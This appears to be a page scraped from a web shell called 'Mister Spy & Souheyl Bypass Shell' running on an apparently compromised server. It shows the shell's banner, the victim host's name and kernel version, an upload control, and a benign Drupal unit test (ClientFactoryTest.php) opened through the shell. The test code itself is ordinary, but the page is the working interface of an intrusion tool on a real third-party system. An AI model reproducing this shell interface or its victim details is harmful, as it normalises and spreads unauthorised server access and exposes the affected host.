Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/tests/Drupal/Tests/Core/Http/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/tests/Drupal/Tests/Core/Http/ClientFactoryTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\Core\Http;

use Drupal\Core\Http\ClientFactory;
use Drupal\Core\Site\Settings;
use Drupal\Tests\UnitTestCase;

/**
 * @coversDefaultClass \Drupal\Core\Http\ClientFactory
 * @group Http
 */
class ClientFactoryTest extends UnitTestCase {

  /**
   * The client factory under test.
   *
   * @var \Drupal\Core\Http\ClientFactory
   */
  protected $factory;

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    $stack = $this->getMockBuilder('GuzzleHttp\HandlerStack')
      ->disableOriginalConstructor()
      ->getMock();
    $this->factory = new ClientFactory($stack);
  }

  /**
   * @covers ::fromOptions
   * @dataProvider providerTestCreateFromOptions
   *
   * @param array $settings_config
   *   The settings configuration.
   * @param array $parameter_config
   *   The parameter configuration.
   * @param array $expected_config_keys
   *   The expected config keys.
   */
  public function testCreateFromOptions($settings_config, $parameter_config, $expected_config_keys): void {
    if ($settings_config) {
      new Settings(['http_client_config' => $settings_config]);
    }
    else {
      new Settings([]);
    }

    $client = $this->factory->fromOptions($parameter_config);

    foreach ($expected_config_keys as $key => $expected) {
      $this->assertSame($expected, $client->getConfig($key));
    }
  }

  /**
   * Data provider for testCreateFromOptions.
   *
   * @return array
   */
  public static function providerTestCreateFromOptions() {
    return [
      [[], [], ['verify' => TRUE, 'timeout' => 30]],
      [['timeout' => 40], [], ['verify' => TRUE, 'timeout' => 40]],
      [[], ['timeout' => 50], ['verify' => TRUE, 'timeout' => 50]],
      [['timeout' => 40], ['timeout' => 50], ['verify' => TRUE, 'timeout' => 50]],
    ];
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net